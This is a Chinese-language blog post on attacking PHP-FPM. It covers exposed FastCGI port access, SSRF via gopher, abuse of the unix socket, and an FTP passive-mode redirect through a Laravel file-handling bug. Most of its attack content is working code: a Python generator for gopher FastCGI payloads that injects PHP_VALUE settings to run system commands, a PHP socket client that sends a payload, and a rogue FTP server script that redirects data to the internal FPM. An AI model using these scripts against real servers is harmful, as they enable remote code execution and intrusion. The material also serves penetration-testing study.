PHP-FPM攻击方式

FPM未授权访问

PHP-FPM (FastCGI Process Manager)是一个PHP FastCGI管理器,在PHP 5.3.3之后整合进了PHP包中。在安装PHP时可以在./configure后面加上–enable-fpm参数开启PHP-FPM。PHP-FPM在工作时默认监听9000端口,也可以修改配置文件使其监听unix套接字,下面两种方式分别是使得fpm监听9000端口和unix套接字的配置

1
2
listen = 127.0.0.1:9000
;listen = /var/run/php-fpm/php-fpm.sock

如果fpm的配置文件中监听9000端口的配置被写成了0.0.0.0:9000,则可以在外部访问fpm监听的9000端口,这时候可以直接构造FastCGI协议的数据与FPM进行通信。PHP-FPM中可以设置PHP_VALUEPHP_ADMIN_VALUE两个变量,如果知道了某个服务器上以.php结尾的文件的绝对路径,则可以通过设置auto_prepend_file = php://inputallow_url_include = On两个php的变量进行RCE。php环境通常有自带的.php的文件,可以用find / -name "*.php"找到

FastCGI协议由多个Record构成,每个Record有header和body,其中header固定为8个字节,结构如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

在交互的过程中,第一个数据包是type为1的Record,结束时发送type为2或type为3的Record,type为4的Record传递环境参数,type为5的Record传递POST数据,type为6和type为7的Record都是服务器返回的响应数据包。

type为4的Record中body部分是环境参数的键值对,大概是key的长度+value的长度+key+value的形式构造的,对于长度小于128的key,key长度的部分用1个字节表示,对于长度大于128的key,key长度的部分用4个字节表示,并将第个bit置为1。

对于未授权访问可以直接用P神的脚本: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

SSRF攻击FPM

通常9000端口都不会暴露在外网,但是如果存在SSRF,可以使用gopher协议对FPM进行攻击。下面贴一个我手动实现的构造gopher数据包的Python脚本,需要注意libcurl版本小于7.45.0的版本,gopher的%00会被截断

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import base64
import random
from urllib import parse


def bchr(n):
    if n < 128:
        return bytes.fromhex(hex(n)[2:].zfill(2))
    else:
        return bytes.fromhex(hex(n | 0x80000000)[2:].zfill(8))


def encord(type, contents, id):
    n = len(contents)
    record = b"\x01" + chr(type).encode() + \
             bytes.fromhex(hex(id)[2:].zfill(4)) + \
             bytes.fromhex(hex(n)[2:].zfill(4)) + \
             b"\x00\x00"
    record += contents
    return record


def FastCGI(code, params):
    start = b"\x00\x01\x00\x00\x00\x00\x00\x00"
    pms = b""
    id = random.randint(1, 0xffff)
    for k, v in params.items():
        pms += bchr(len(k)) + bchr(len(v)) + k.encode() + v.encode()
    payload = encord(1, start, id) + encord(4, pms, id) + encord(4, b"", id) + encord(5, code, id)
    return payload


if __name__ == "__main__":
    file = "/usr/local/lib/php/PEAR.php"
    code = "<?php system('id');die();"
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        "SERVER_SOFTWARE": "php/fcgiclient",
        "REMOTE_ADDR": "127.0.0.1",
        "SERVER_PROTOCOL": "HTTP/1.1",
        "CONTENT_LENGTH": f"{len(code)}",
        "REQUEST_METHOD": "POST",
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On',
        "SCRIPT_FILENAME": f"{file}",
        "DOCUMENT_ROOT": "/"
    }
    data = FastCGI(code.encode(), params)
    # print(base64.b64encode(data).decode())
    print(f"gopher://127.0.0.1:9000/_{parse.quote(data)}")

通过unix套接字攻击FPM

如果FPM使用的是unix套接字模式,则可以可以通过stream_socket_client函数或fsockopen函数与unix套接字进行通信进行任意代码执行,不过要能执行下面这一串代码通常是在已经拿到了shell的情况下。它实际的作用大概是可以通过设置PHP_VALUEPHP_ADMIN_VALUE绕过禁用函数或者open_basedir

1
2
3
4
5
6
$client = stream_socket_client("unix:///var/run/php-fpm/php-fpm.sock");
$data = base64_decode("base64 payload here");
fwrite($client,$data);
while(!feof($client)){
    echo fread($client,1024);
}

利用FTP协议被动模式攻击FPM

FTP协议有主动模式(PORT)和被动模式(PASV)

FTP主动模式下客户端任选一个大于1023的端口N向服务器的21端口发起连接,然后监听N+1端口,并向服务器发送PORT N+1指令,然后服务器与客户端的N+1端口建立数据连接传输数据。

FTP被动模式下客户端和服务器的21端口建立连接,然后向服务器发送PASV指令,然后服务器随机监听一个端口,返回227状态码以及服务器的IP和监听的这个随机端口号,接着客户端按照收到的IP和端口号与服务器建立数据连接传输数据,返回227状态码的这段数据大概就长这样:227 Entering Passive Mode (h1,h2,h3,h4,p1,p2).其中前面4个数字是IP地址,后面两个是端口号,端口号计算方法为(p1<<8)+p2,这里的ip和端口都是可控的,可以利用FTP协议将数据连接重定向到127.0.0.1:9000进行SSRF攻击PHP-FPM。

在某个版本的Laravel框架中有个漏洞,其中大概有这样一段代码:

1
2
3
<?php
$contents = file_get_contents($_POST['viewFile']);
file_put_contents($_POST['viewFile'],$contents);

这里将file_get_contents读到的内容用file_put_contents写入到某个文件中,其中传入的文件名是完全可控的,可以利用FTP协议让file_get_contents读取到payload,再将文件写回去的时候将数据连接重定向到127.0.0.1:9000进行SSRF攻击内网的PHP-FPM。

我用vsFTPd搭建了一个FTP服务器,然后用PHP的file_get_contentsfile_put_contents与FTP服务器进行交互,拿到了两个函数与vsFTPd交互的流量包,然后使用nc与PHP的FTP客户端进行交互,手动构造的file_put_contents函数的流量包大概长这样:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
220 (vsFTPd 3.0.3)
USER anonymous
331 Please specify the password.
PASS anonymous
230 Login successful.
TYPE I
200 Switching to Binary mode.
SIZE /test/d.txt
550 Could not get file size.
EPSV
227 Entering Passive Mode (127,0,0,1,206,231).
PASV
227 Entering Passive Mode (127,0,0,1,206,231).
STOR /test/d.txt
150 Ok to send data.
226 Transfer complete.

这段交互完成后本地的52967端口就收到了file_put_contents函数发来的数据。

然后用Python写脚本进与PHP的FTP客户端进行交互:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import socket
import time
import base64

def func():
    ss = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ss.bind(("0.0.0.0", 7777))
    ss.listen(1)
    con, host = ss.accept()
    payload = base64.b64decode(b"payload here")
    con.send(payload)
    con.close()


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0",8888))
s.listen(2)
con,host= s.accept()
con.send(b'220 (vsFTPd 3.0.3)\n')
con.send(b'331 Please specify the password.\n')
con.send(b'230 Login successful.\n')
con.send(b'200 Switching to Binary mode.\n')
con.send(b'213 6\n')
con.send(b'229 Entering Extended Passive Mode (|||7777|)\n')
func()
con.send(b'150 Opening BINARY mode data connection (6 bytes).\n')
con.send(b'226 Transfer complete.\n')
print(con.recv(1024))
#Read data
con,host1= s.accept()
con.send(b'220 (vsFTPd 3.0.3)\n')
con.send(b'331 Please specify the password.\n')
con.send(b'230 Login successful.\n')
con.send(b'200 Switching to Binary mode.\n')
con.send(b'550 Could not get file size.\n')
con.send(b'227 Entering Passive Mode (192,168,8,129,35,40).\n')
con.send(b'227 Entering Passive Mode (192,168,8,129,35,40).\n')
con.send(b'150 Ok to send data.\n')
time.sleep(2)
con.send(b'226 Transfer complete.\n')
print(con.recv(1024))
#Write data

可以对本地PHP-FPM进行攻击。

updatedupdated2023-05-202023-05-20